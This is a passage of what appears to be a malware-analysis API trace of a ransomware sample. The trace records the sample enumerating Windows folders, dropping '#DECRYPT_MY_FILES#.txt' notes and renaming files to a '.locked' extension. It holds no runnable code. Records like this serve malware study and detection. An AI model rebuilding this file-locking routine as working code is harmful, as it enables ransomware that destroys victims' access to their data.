CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=87 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt") returned 87 [0031.985] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42cc60, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0031.989] GetFileType (hFile=0x120) returned 0x1 [0031.989] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.990] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb60cc500, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb60cc500, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825850 [0031.990] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb60cc500, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb60cc500, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName="..", cAlternateFileName="")) returned 1 [0031.990] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb60cc500, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb60cc500, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb60cc500, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x6fd, dwReserved1=0x42cd40, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.990] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.990] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.990] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.990] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.990] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.990] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.990] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0031.990] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.990] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.990] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.991] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.991] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.991] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x828808 [0031.991] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0031.991] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x77) returned 0x801350 [0031.991] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0031.991] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.991] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.991] AreFileApisANSI () returned 1 [0031.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0031.991] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc0) returned 0x806668 [0031.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=96 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\#DECRYPT_MY_FILES#.txt") returned 96 [0031.991] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42c2f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0031.991] GetFileType (hFile=0xc8) returned 0x1 [0031.991] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.992] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb60cc500, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb60cc500, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fc, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0031.993] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb60cc500, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb60cc500, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fc, dwReserved1=0x42c3d8, cFileName="..", cAlternateFileName="")) returned 1 [0031.993] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb60cc500, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb60cc500, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb60cc500, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fc, dwReserved1=0x42c3d8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.993] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.993] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.993] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.993] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.993] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.993] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.993] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0031.993] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.993] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.993] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.993] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.993] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0031.993] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.993] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.993] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.993] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.993] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0031.993] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.993] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0031.994] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.994] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.994] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.994] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.994] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.994] AreFileApisANSI () returned 1 [0031.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0031.994] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa6) returned 0x806668 [0031.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=83 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 83 [0031.994] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42c2f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0031.995] GetFileType (hFile=0xc4) returned 0x1 [0031.995] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0031.998] AreFileApisANSI () returned 1 [0031.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0031.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0031.998] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x15a) returned 0x80cde8 [0031.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x80cde8, cchWideChar=83 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 83 [0031.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x80ce8e, cchWideChar=90 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.locked") returned 90 [0031.998] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.locked"), dwFlags=0x2) returned 1 [0032.000] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0032.000] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.000] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.000] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0032.000] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0032.000] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.000] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0032.000] FindClose (in: hFindFile=0x8258d0 | out: hFindFile=0x8258d0) returned 1 [0032.000] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x806660, dwReserved1=0x42cde0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0032.000] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0032.000] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0032.000] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0032.000] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0032.000] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0032.000] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x828808 [0032.000] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80dd40 [0032.000] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x77) returned 0x801350 [0032.000] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80dd40 | out: hHeap=0x7f0000) returned 1 [0032.000] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0032.000] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0032.001] AreFileApisANSI () returned 1 [0032.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 96 [0032.001] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xc0) returned 0x806668 [0032.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=96 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\#DECRYPT_MY_FILES#.txt") returned 96 [0032.001] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42c2f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc8 [0032.001] GetFileType (hFile=0xc8) returned 0x1 [0032.001] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.002] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb60f2660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb60f2660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fc, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0032.002] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb60f2660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb60f2660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fc, dwReserved1=0x42c3d8, cFileName="..", cAlternateFileName="")) returned 1 [0032.002] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb60f2660, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb60f2660, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb60f2660, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fc, dwReserved1=0x42c3d8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0032.002] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0032.002] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0032.002] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.002] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0032.002] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0032.002] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.002] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0032.002] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0032.002] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0032.003] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.003] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.003] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0032.003] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0032.003] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0032.003] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.003] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.003] FindNextFileA (in: hFindFile=0x8258d0, lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x806660, dwReserved1=0x42c478, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0032.003] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0032.003] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x806668 [0032.003] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.003] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0032.003] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0032.003] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0032.003] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0032.003] AreFileApisANSI () returned 1 [0032.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0032.003] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa6) returned 0x806668 [0032.003] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=83 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 83 [0032.003] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x42c2f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0032.004] GetFileType (hFile=0xc4) returned 0x1 [0032.004] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x806668 | out: hHeap=0x7f0000) returned 1 [0032.007] AreFileApisANSI () returned 1 [0032.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0032.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x806668, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0032.007] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x15a) returned 0x80cde8 [0032.007] MultiByteToWideChar (in: 